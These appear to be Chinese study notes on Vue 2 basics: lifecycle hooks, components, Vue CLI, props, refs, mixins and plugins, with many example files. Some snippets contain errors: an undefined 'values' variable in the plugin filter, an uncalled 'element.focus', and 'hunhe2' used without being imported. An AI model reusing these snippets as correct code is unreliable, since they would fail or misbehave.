1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | < html > < head > < meta charset="UTF-8"/> < title >v-pre_指令</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- v-pre:指令: 1. 作用:跳过其所在节点的编译过程 2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译 --> <!-- 准备一个容器--> < div id = "root"> < h2 v-pre>初始化的n值</ h2 > < h2 >当前的n值是:{{n}}</ h2 > < button @click="n++">点我n+1</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ n:1 } }) </ script > </ body > </ html > |
2.7 自定义指令
2.8 生命周期
生命周期图示
2.8.1 引出生命周期
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | < html > < head > < meta charset="UTF-8"/> < title >引出生命周期</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 生命周期: 1. 别名:生命周期回调函数、生命周期函数、生命周期钩子 2. 是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数 3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的 4. 生命周期函数中的this指向是vm 或 组件实例对象 --> <!-- 准备一个容器--> < div id = "root"> < h2 :style="{opacity}">欢迎学习Vue</ h2 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ opacity:1 }, methods: { }, //Vue完成模板的解析,并把初始的真实的DOM元素放入页面后(挂载完毕)调用mounted mounted() { setInterval(() =>{ this.opacity -= 0.01 if(this.opacity <= 0){ this.opacity = 1 } }, 16) }, }) /* 通过外部的定时器实现 setInterval(() =>{ vm.opacity -= 0.01 if(vm.opacity <= 0){ vm.opacity = 1 } }, 16) */ </ script > </ body > </ html > |
2.8.2 生命周期_挂载流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | < html > < head > < meta charset="UTF-8"/> < title >分析生命周期</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 生命周期: 1. 别名:生命周期回调函数、生命周期函数、生命周期钩子 2. 是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数 3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的 4. 生命周期函数中的this指向是vm 或 组件实例对象 --> <!-- P50 --> <!-- 准备一个容器--> < div id = "root"> < h2 >当前的n值是: {{n}}</ h2 > < button @click="add">点我n + 1</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ n:1 }, methods: { add(){ this.n++ } }, //此时:无法通过vm访问到data中的数据、methods中的方法 beforeCreate() { console.log('beforeCreate'); }, //此时:可以通过vm访问到data中的数据、methods中配置的方法 created() { console.log('created'); }, //此时:1. 页面呈现的是未经Vue编译的DOM结构;2. 所有对DOM的操作,最终都不奏效 beforeMount() { console.log('beforeMount'); }, //此时: // 1. 页面中呈现的是经过Vue编译的DOM; // 2. 对DOM的操作均有效,至此初始化过程结束,一般在此进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作 mounted() { console.log('mounted'); } }) </ script > </ body > </ html > |
2.8.3 生命周期_更新流程
beforeUpdate:当前data中的数据改变时触发;此时数据是改变的,但页面是旧数据,即:页面尚未和数据保持同步
updated : 此时:数据是最新的,页面也是最新的;即:页面和数据保持同步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | < html > < head > < meta charset="UTF-8"/> < title >分析生命周期</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 生命周期: 1. 别名:生命周期回调函数、生命周期函数、生命周期钩子 2. 是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数 3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的 4. 生命周期函数中的this指向是vm 或 组件实例对象 --> <!-- P50 --> <!-- 准备一个容器--> < div id = "root"> < h2 >当前的n值是: {{n}}</ h2 > < button @click="add">点我n + 1</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ n:1 }, methods: { add(){ this.n++ } }, //此时:无法通过vm访问到data中的数据、methods中的方法 beforeCreate() { console.log('beforeCreate'); }, //此时:可以通过vm访问到data中的数据、methods中配置的方法 created() { console.log('created'); }, //此时:1. 页面呈现的是未经Vue编译的DOM结构;2. 所有对DOM的操作,最终都不奏效 beforeMount() { console.log('beforeMount'); }, //此时: // 1. 页面中呈现的是经过Vue编译的DOM; // 2. 对DOM的操作均有效,至此初始化过程结束,一般在此进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作 mounted() { console.log('mounted'); }, //当前data中的数据改变时触发;此时数据是改变的,但页面是旧数据,即:页面尚未和数据保持同步 beforeUpdate() { console.log('beforeUpdate'); }, //此时:数据是最新的,页面也是最新的;即:页面和数据保持同步 updated() { console.log('updated'); } }) </ script > </ body > </ html > |
2.8.4 生命周期_销毁流程
destroy :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | < html > < head > < meta charset="UTF-8"/> < title >分析生命周期</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 生命周期: 1. 别名:生命周期回调函数、生命周期函数、生命周期钩子 2. 是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数 3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的 4. 生命周期函数中的this指向是vm 或 组件实例对象 --> <!-- P50 --> <!-- 准备一个容器--> < div id = "root"> < h2 >当前的n值是: {{n}}</ h2 > < button @click="add">点我n + 1</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ n:1 }, methods: { add(){ this.n++ } }, //监听 watch:{ n(){ console.log('n变了'); } }, //此时:无法通过vm访问到data中的数据、methods中的方法 beforeCreate() { console.log('beforeCreate'); }, //此时:可以通过vm访问到data中的数据、methods中配置的方法 created() { console.log('created'); }, //此时:1. 页面呈现的是未经Vue编译的DOM结构;2. 所有对DOM的操作,最终都不奏效 beforeMount() { console.log('beforeMount'); }, //此时: // 1. 页面中呈现的是经过Vue编译的DOM; // 2. 对DOM的操作均有效,至此初始化过程结束,一般在此进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作 mounted() { console.log('mounted'); }, //当前data中的数据改变时触发;此时数据是改变的,但页面是旧数据,即:页面尚未和数据保持同步 beforeUpdate() { console.log('beforeUpdate'); }, //此时:数据是最新的,页面也是最新的;即:页面和数据保持同步 updated() { console.log('updated'); }, //此时:vm中所有的:data、methods、指令等等,都处于可用状态,马上要执行销毁过程, //一般在此阶段:关闭定时器、取消订阅消息、解绑自定义事件等收尾操作 beforeDestroy() { console.log('beforeDestroy'); this.add() debugger }, destroyed() { console.log('destroyed'); } }) </ script > </ body > </ html > |
vm.$destroy()
用法: 完全销毁一个实例,清理它与其他实例的连接, 解绑它的全部指令及事件监听器;
触发 baforeDestroy 和 destroy 的钩子;
注意: 在大多数的场景中,你不应该调用这个方法。最好使用 v-if 和 v-for 指令以数据驱动的方式控制子组件的生命周期
生命周期总结:
常用的生命周期钩子:
1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
2. beforeDestroy: 清楚定时器、解绑自定义事件、取消订阅消息等【收尾工作】
关于销毁Vue实例:
1. 销毁后借助Vue开发者工具看不到任何信息
2. 销毁后自定义事件会失效,但原生DOM事件依然有效
3. 一般不会再beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | < html > < head > < meta charset="UTF-8"/> < title >总结生命周期</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 :style="{opacity}">欢迎学习Vue</ h2 > < button @click="opacity = 1">透明度设置为1</ button > < button @click="stop">点我停止变换</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ opacity:1 }, methods: { stop(){ this.$destroy() } }, //监听 watch:{ n(){ console.log('n变了'); } }, //此时:无法通过vm访问到data中的数据、methods中的方法 beforeCreate() { console.log('beforeCreate'); }, //此时:可以通过vm访问到data中的数据、methods中配置的方法 created() { console.log('created'); }, //此时:1. 页面呈现的是未经Vue编译的DOM结构;2. 所有对DOM的操作,最终都不奏效 beforeMount() { console.log('beforeMount'); }, //此时: // 1. 页面中呈现的是经过Vue编译的DOM; // 2. 对DOM的操作均有效,至此初始化过程结束,一般在此进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作 mounted() { console.log('mounted'); //给vm实例新增timer属性 this.timer = setInterval(() =>{ this.opacity -= 0.01 if(this.opacity <= 0){ this.opacity = 1 } }, 16) }, //当前data中的数据改变时触发;此时数据是改变的,但页面是旧数据,即:页面尚未和数据保持同步 beforeUpdate() { console.log('beforeUpdate'); }, //此时:数据是最新的,页面也是最新的;即:页面和数据保持同步 updated() { console.log('updated'); }, //此时:vm中所有的:data、methods、指令等等,都处于可用状态,马上要执行销毁过程, //一般在此阶段:关闭定时器、取消订阅消息、解绑自定义事件等收尾操作 beforeDestroy() { console.log('beforeDestroy'); clearInterval(this.timer) }, destroyed() { console.log('destroyed'); } }) </ script > </ body > </ html > |
2.9 组件
2.9.1 对组件的理解
传统方式编写应用
组件方式编写应用:
组件: 用来实现局部(特定)功能效果的代码集合(html/css/js/...)
作用: 复用编码、简化项目编码、提高运行效率
模块化:当应用中的js都以模块来编写的,那这个应用就是一个模块化的应用
组件化:当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用
Vue中使用组件的三大步骤:
一、定义组件(创建组件)
使用Vue. extend(options)创建。其中options 和 new Vue(options) 时传入的那个options 几乎一样,
但区别如下:
1. el不要写, 为什么? ---最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器;
2. data必须写成函数, 为什么? ---避免组件被复用时,数据存在引用关系。
备注: 使用template可以配置组件结构;
二、注册组件
1. 局部组件:靠new Vue的时候传入components选项
2. 全局组件 : 靠Vue. component('组件名', 组件)
三、使用组件(写组件标签)
<school></school>
2.9.2 非单文件组件
定义: 一个文件中包含有n个组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | < html > < head > < meta charset="UTF-8"/> < title >非单文件组件</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < hello ></ hello > < hr > <!-- 第三步: 编写组件标签 --> < school ></ school > < hr > <!-- 第三步: 编写组件标签 --> < student ></ student > </ div > < hr > < div id="root2"> < hello ></ hello > </ div > < script type="text/javascript"> Vue.config.productionTip = false //阻止Vue在启动时生成生产提示 //第一步: 创建school组件 const school = Vue.extend({ template:` < div > < h2 >学校姓名: {{schoolName}}</ h2 > < h2 >学校地址: {{address}}</ h2 > </ div > `, //el : '#root', //一定不要写el配置,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器 data(){ return { schoolName: 'JAVA', address: '上海' } } }) //第一步: 创建student组件 const student = Vue.extend({ template:` < div > < h2 >学生姓名: {{studentName}}</ h2 > < h2 >学生年龄: {{age}}</ h2 > </ div > `, //el: '#root', data(){ return { studentName: '张三', age: 12 } } }) //第一步: 创建 hello 组件 const hello = Vue.extend({ template:` < div > < h2 >你好啊:{{name}}</ h2 > </ div > `, data(){ return { name: '张三' } } }) //第二步: 全局注册组件 Vue.component('hello', hello); new Vue({ el:'#root', //第二步: 注册组件(局部注册) components:{ school: school, student: student } }) new Vue({ el:'#root2' }) </ script > </ body > </ html > |
单文件组件: 一个文件就是一个组件(例如: .vue结尾的文件)
2.9.3 组件的几个注意点
几个注意点:
1. 关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
(1)组件名尽可能回避HTML中已经有的元素名称。例如: h2、H2都不行
(2)可以使用name配置项指定组件在开发者工具中呈现的名字
2. 关于组件标签
第一种写法:<school></school>
第二种写法:<school />
备注:不使用脚手架时:第二种写法 <school />会导致后续组件不能渲染
3. 一个简写方式:
const school = Vue.extend({ options }) 可简写为: const school = {options}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | < html > < head > < meta charset="UTF-8"/> < title >几个注意点</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < my-school ></ my-school > </ div > < hr > < script type="text/javascript"> Vue.config.productionTip = false //阻止Vue在启动时生成生产提示 const s = Vue.extend({ template:` < div > < h2 >学校姓名: {{schoolName}}</ h2 > < h2 >学校地址: {{address}}</ h2 > </ div > `, data(){ return { schoolName: 'JAVA', address: '上海' } } }) new Vue({ el:'#root', //第二步: 注册组件(局部注册) components:{ 'my-school': s } }) </ script > </ body > </ html > |
2.9.4 组件的嵌套
组件嵌套:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | < html > < head > < meta charset="UTF-8"/> < title >组件嵌套</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- <app></app> --> </ div > < hr > < script type="text/javascript"> Vue.config.productionTip = false //阻止Vue在启动时生成生产提示 const student = Vue.extend({ template:` < div > < h2 >学生姓名: {{studentName}}</ h2 > < h2 >学生年龄: {{age}}</ h2 > </ div > `, data(){ return { studentName: 'JAVA', age: 18 } } }) const school = Vue.extend({ template:` < div > < h2 >学校姓名: {{schoolName}}</ h2 > < h2 >学校地址: {{address}}</ h2 > < hr /> < student ></ student > </ div > `, data(){ return { schoolName: 'JAVA', address: '上海' } }, components:{ student } }) const hello = Vue.extend({ template:` < h1 >{{msg}}</ h1 > `, data(){ return { msg: '欢迎' } } }) const app = Vue.extend({ template:` < div > < hello ></ hello > < school ></ school > </ div > `, components:{ school, hello } }) new Vue({ template: '< app ></ app >', el:'#root', //第二步: 注册组件(局部注册) components:{ app } }) </ script > </ body > </ html > |
2.9.5 VueComponent 构造函数
关于VueComponent;
1. school组件本质是一个名为VueComponent的构造函数, 且不是程序员定义的,是Vue.extend 生成的。
2. 我们只需要写<school /> 或 <school></school> , Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的: new VueComponent(options)
3. 特别注意 : 每次调用Vue.extend , 返回的都是一个全新的VueComponet !!!
4. 关于this 指向:
(1)组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数, 它们的this 均是【VueComponent实例对象】
(2) new Vue() 配置中:
data函数、methods中的函数、watch中的函数、computed中的函数, 它们的this 均是【Vue实例对象】
5. VueComponent的实例对象, 以后简称vc(也可称之为:组件实例对象)
Vue的实例对象,以后简称为: vm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | < html > < head > < meta charset="UTF-8"/> < title >VueComponent</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < school ></ school > </ div > < hr > < script type="text/javascript"> Vue.config.productionTip = false //阻止Vue在启动时生成生产提示 const school = Vue.extend({ template:` < div > < h2 >学校姓名: {{schoolName}}</ h2 > < h2 >学校地址: {{address}}</ h2 > < button @click="showName">点我提示学校名称</ button > </ div > `, data(){ return { schoolName: '北京大学', address: '上海' } }, methods: { showName(){ alert(this.schoolName) } }, }) new Vue({ el:'#root', //第二步: 注册组件(局部注册) components:{ school } }) </ script > </ body > </ html > |
2.9.6 Vue实例和组件实例
2.9.7 一个重要的内置关系
1. 一个重要的内置关系: VueComponent.prototype._ _proto_ _=Vue.prototype
2. 为什么要有这个关系: 让组件实例对象(vc) 可以访问到Vue原型上的属性、方法
分析Vue 与 VueComponent的关系:
2.9.8 单文件组件
一般的单文件组件包含:
index.html
main.js
App.vue : 组件总管(管理若干组件)
xxx.vue : 组件若干
index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <! DOCTYPE html> < html lang="en"> < head > < meta charset="UTF-8"> < meta http-equiv="X-UA-Compatible" content="IE=edge"> < title >练习一下单文件组件的语法</ title > </ head > < body > <!-- 准备一个容器 --> < div id="root"> < App ></ App > </ div > < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="./main.js"></ script > </ body > </ html > |
main.js
1 2 3 4 5 6 7 | import App from './App.vue' new Vue({ el: '#root', // template:`< App ></ App >`, components:{App} }) |
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | < template > <!-- 模板里面必须有一个根元素 --> < div > < School ></ School > < Student ></ Student > </ div > </ template > < script > //引入组件 import School from './School' import Student from './Student' export default { name:'App', components:{ School, Student } } </ script > < style > </ style > |
若干组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | < template > <!-- 组件结构 --> < div class="demo"> < h2 >学校姓名: {{schoolName}}</ h2 > < h2 >学校地址: {{address}}</ h2 > < button @click="showName">点我提示学校名</ button > </ div > </ template > < script > // 组件交互相关的代码(数据、方法等等) const school = Vue.extend({ name:'school', data(){ return { schoolName: 'JAVA', address: '上海' } }, methods: { showName(){ alert(this.schoolName) } }, }) //必须暴露组件(下面是默认暴露方式) export default school </ script > < style > /* 组件的样式 */ .demo{ background-color: orange; } </ style > |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | < template > <!-- 组件结构 --> < div > < h2 >学生姓名: {{name}}</ h2 > < h2 >学生年龄: {{age}}</ h2 > < button @click="showName">点我提示学生名</ button > </ div > </ template > < script > // 组件交互相关的代码(数据、方法等等) export default { name:'Student', data(){ return { name: '张三', age: 18 } }, methods: { showName(){ alert(this.name) } }, } </ script > |
3.0 Vue脚手架
说明:
a. Vue脚手架是Vue管方提供的标准化开发工具(开发平台)
b. 最新版本是4.x
c. 文档地址: https://cli.vuejs.org/zh/
安装:
1. 第一步(仅第一次执行):全局安装@vue/cli
npm install -g @vue/cli
2. 第二步:切换到你要创建项目的目录,然后使用命令创建项目
vue create xxxx
3. 启动项目
npm run serve
备注:
a. 如出现下载缓慢的情况, 请先配置npm淘宝镜像:
npm config set registry https://registry.npm.taobao.org
b. Vue脚手架隐藏了所有webpack相关的配置, 若想查看具体的webpack配置, 请执行:
vue inspect > output.js
3.1 创建Vue脚手架
3.2 分析脚手架结构
3.3 render函数
关于不同版本的Vue:
1.vue.js 与 vue.runtime.xxx.js的区别:
(1) vue.js是完整版的Vue,包含:核心功能 + 模板解析器
(2)vue.runtime.xxx.js 是运行版的vue. 只包含:核心功能, 没有模板解析器
2. 因为vue.runtime.xxx.js 没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | /* 该文件是整个项目的入口文件 */ //引入VUe import Vue from 'vue' //引入App组件,它是所有组件的父组件 import App from './App.vue' //关闭vue的生产提示 Vue.config.productionTip = false //创建Vue实例对象 ---vm new Vue({ el:'#app', render: h => h(App), }) |
3.4 修改默认配置
3.5 ref属性
ref属性:
1. 被用来给元素或子组件注册引用信息(id的替代者)
2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
3. 使用方式:
打标识:<h1 ref="xxx"> ...</h1> 或 <School ref="xxx"></School>
获取: this.$refs.xxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | < template > <!-- 模板里面必须有一个根元素 --> < div > < img src="./assets/logo.png" alt="logo"> < h1 v-text="msg" ref="title"></ h1 > < button ref="btn" @click="showDom">点我输出上方的DOM元素</ button > < School ref="sch"></ School > </ div > </ template > < script > //引入组件 import School from './components/School.vue' export default { name:'App', components:{ School }, data() { return { msg:'欢迎学习Vue' } }, methods: { showDom(){ console.log(this.$refs.title) console.log(this.$refs.btn) //获取的DOM console.log(this.$refs.sch) //school的vc实例对象 } }, } </ script > < style > </ style > |
3.6 props配置
功能:让组件接收外部传过来的数据
(1)传递数据:
<Demo name="xxx">
(2)接收数据:
第一种方式(只接收)
props:['name']
第二种方式(限制类型)
props:{
name:Number
}
第三种方式:(限制类型、限制必传性、指定默认值)
props:{
name:{
type: String, //类型
required: true, //必传性
default: ‘老张’, //默认值
}
}
备注: props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告;
若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | < template > <!-- 模板里面必须有一个根元素 --> < div > <!-- 对组件进行属性传值,属性字段不给就是不传值 --> < Student name="李四" sex="男" :age="18"/> </ div > </ template > < script > //引入组件 import Student from './components/Student.vue' export default { name:'App', components:{ Student } } </ script > |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | < template > <!-- 组件结构 --> < div > < h2 > {{msg}}</ h2 > < h2 >学生姓名: {{name}}</ h2 > < h2 >学生性别: {{sex}}</ h2 > <!-- 需求:修改age的值,复制一份到data中,再修改 <h2>学生性别: {{age}}</h2> --> < h2 >学生性别: {{myAge}}</ h2 > < button @click="updateAge">点我修改学生年龄</ button > </ div > </ template > < script > // 组件交互相关的代码(数据、方法等等) export default { name: 'Student', data(){ return { msg:'我是一个学生', myAge: this.age } }, methods: { updateAge(){ this.myAge++ } }, //简单声明接收, 但优先级很高 //props:['name','age','sex'] //接收的同是对数据类型进行限制 /* props:{ name:String, age:Number, sex:String } */ //接收的同时对数据类型:进行限制 + 默认值的指定 + 必传性的限制 props:{ name:{ type:String, //name的类型是字符串 required:true //name的值是必传的 }, age:{ type:Number, default:99 //type没有传值,给出的默认值 }, sex:{ type:String, required:true } } } </ script > |
3.7 mixin 混入
功能: 可以把多个组件共用(相同)的配置提取成一个混入对象
使用方式:
第一步定义混合,例如:
{
data(){...},
methods(){...},
....
}
第二步使用混入, 例如:
(1)全局混入: Vue.mixin(xxx)
(2)局部混入: mixins:['xxx']
mixin.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // 复用配置 export const hunhe = { methods: { showName(){ alert(this.name) } } } export const hunhe2 = { data() { return { x:111, y:222 } } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | /* 该文件是整个项目的入口文件 */ //引入VUe import Vue from 'vue' //引入App组件,它是所有组件的父组件 import App from './App.vue' //引入全局mixin import { hunhe,hunhe2 } from './mixin' //关闭vue的生产提示 Vue.config.productionTip = false //配置全局mixin(所有的vc和vm 中都会引入mixin) Vue.mixin(hunhe) Vue.mixin(hunhe2) //创建Vue实例对象 ---vm new Vue({ el:'#app', render: h => h(App), }) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | < template > <!-- 组件结构 --> < div class="demo"> < h2 @click="showName">学校姓名: {{name}}</ h2 > < h2 >学校地址: {{address}}</ h2 > </ div > </ template > < script > //引入hunhe import { hunhe } from '../mixin' // 组件交互相关的代码(数据、方法等等) export default { name: 'School', data(){ return { name: 'JAVA', address: '上海' } }, mixins:[hunhe,hunhe2 ] } </ script > < style > /* 组件的样式 */ .demo{ background-color: orange; } </ style > |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | < template > <!-- 组件结构 --> < div > < h2 @click="showName">学生姓名: {{name}}</ h2 > < h2 >学生性别: {{sex}}</ h2 > </ div > </ template > < script > //引入hunhe import { hunhe } from '../mixin' // 组件交互相关的代码(数据、方法等等) export default { name: 'Student', data(){ return { name:'张三', sex:'男' } }, mixins:[hunhe] } </ script > |
4.0 插件
功能:用于增强Vue
本质:包含install方法的一个对象, install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据
定义插件:
对象.install = function(Vue, options){
//1. 添加全局过滤器
Vue.filter(...)
//2. 添加全局指令
Vue.directive(....)
//3. 配置全局 混入
Vue.mixin(....)
//4. 添加实例方法
Vue.prototype.$myMethod = function(){.....}
Vue.prototype.$myProperty= xxx
}
使用插件:1. 先引入插件文件xxx
2. Vue.use(xxx)
插件文件:plugins.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | export default { install(Vue){ //全局过滤器 Vue.filter('mySlice', function(value){ return values.slice(0,4) }) //定义全局指令 Vue.directive('fbind',{ //指令与元素成功绑定时(一上来) bind(element, binding){ element.value = binding.value }, //指令所在元素别插入页面时 inserted(element, binding){ element.focus }, //指令所在的模板被重新解析时 update(element, binding){ element.value = binding.value } }) //定义混入 Vue.mixin({ data() { return { x:100, y:200 } } }) //给Vue原型上添加一个方法(vm 和 vc就都能用了) Vue.prototype.hello = ()=>{ alert('你好啊') } } } |
main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | /* 该文件是整个项目的入口文件 */ //引入VUe import Vue from 'vue' //引入App组件,它是所有组件的父组件 import App from './App.vue' //引入插件 import plugins from './plugins' //关闭vue的生产提示 Vue.config.productionTip = false //应用插件 Vue.use(plugins) //创建Vue实例对象 ---vm new Vue({ el:'#app', render: h => h(App), }) |
组件中使用插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | < template > <!-- 组件结构 --> < div > < h2 @click="showName">学生姓名: {{name}}</ h2 > < h2 >学生性别: {{sex}}</ h2 > < input type="text" v-fbind:value="name" /> </ div > </ template > < script > //引入hunhe import { hunhe } from '../mixin' // 组件交互相关的代码(数据、方法等等) export default { name: 'Student', data(){ return { name:'张三', sex:'男' } }, mixins:[hunhe] } </ script > |
scoped样式:
作用: 让样式在局部生效, 防止冲突
写法: <style scoped>
案例: Todo-list
组件化编码的通用流程:
1. 实现静态组件:抽取组件,使用组件实现静态页面效果
2. 展示动态数据:
2.1 数据的类型、名称是什么?
2.2 数据保存在哪个组件?
3. 交互---从绑定事件监听开始
效果:
编码:
App.vue
